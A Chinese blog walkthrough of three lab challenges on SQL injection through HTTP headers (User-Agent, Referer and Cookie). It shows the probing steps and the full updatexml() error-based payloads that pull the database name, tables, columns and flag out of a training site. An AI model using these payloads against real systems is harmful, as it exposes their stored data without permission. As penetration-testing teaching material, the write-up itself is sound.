头注入
工具:burpsuite
三关地址:
http://59.63.200.79:8812/New/HeaderBased/RankOne/sql-one/
http://59.63.200.79:8812/New/HeaderBased/RankTwo/sql-two/
http://59.63.200.79:8812/New/HeaderBased/RankThree/sql-three/
头注入User-Agent注入第一题:
和post注入一样,先burpsuite抓包,然后,单引号检测是否有报错和注入的可能性:
单引号报错,说明有注入的可行性。在这道题里,关于括号的闭合问题困扰了我好长时间,直到我看到了上图画红圈的地方有一个报错的未闭合的括号,我才知道前面一定有一个 (
括号,所以这里的闭合加注释掉后面的代码是:)#
解决了闭合问题后,我们需要看一看User-Agent部分需要几个参数:使用 ’)#、’,1 )#、’,1,1 )#
判断出User-Agent部分有三个参数:
无报错。
然后利用updatexml()函数爆出我们需要的数据:
首先查一下当前数据库:
‘,1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#
然后爆出我们需要的表名,像post注入第三关类似:
‘,1,updatexml(1,concat(0x7e,(select
table_name from information_schema.tables where table_schema=database()
limit 4,1),0x7e),1))#
然后爆出我们需要的字段名:
‘,1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’zkaq’ limit 1,1),0x7e),1))#
然后爆出我们需要的flag:
‘,1,updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 16,1),0x7e),1))#
头注入地址注入第二题:
首先用zkz登录一下看看:
根据显示:这道题的注入可能在头文件中的Referer部分有注入的可能,我们单引号尝试是否有注入可能:
发现是有可能存在注入的,总结上一题的教训,快速找到了闭合方法:
然后和上一题类似的步骤,先找字段参数:
没有报错,说明是两个参数。然后使用updatexml()函数方法查库名,表名,字段名,flag:
头注入Cookie注入第三题
有了第二题的经验,我知道了头注入不止可以在User-Agent注入,也可以在别的地方注入,这个题提交zkz密码账号后,出现了与Cookie相关的东西,我们抓包尝试在cookie位置注入,一开始抓包cookie为:uname=’zkz’,一开始我验证报错向上面两个题一样将uname=’zkz’这一串都删除了,然后没有结果,后来查询后发现cookie是hash键值对,所以前面的uname不能删除,然后我们继续先加引号探测注入可能性:uname=’
Sql报错,有注入可能性。报错中没有括号需要闭合。
uname后面是一个值,所以不用探测字段数了,后面接or语句与上两题做法相似
uname=’ or updatexml(1,concat(0x7e,(select database()),0x7e),1)# 查数据库
uname=’
or updatexml(1,concat(0x7e,(select table_name from
information_schema.tables where table_schema=database() limit 4,1
),0x7e),1)# 查表
uname=’ or updatexml(1,concat(0x7e,(select column_name from
information_schema.columns where table_name=’zkaq’ limit 1,1 ),0x7e),1)#
查字段名
uname=’ or updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 14,1 ),0x7e),1)# 查flag
得出结果。
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!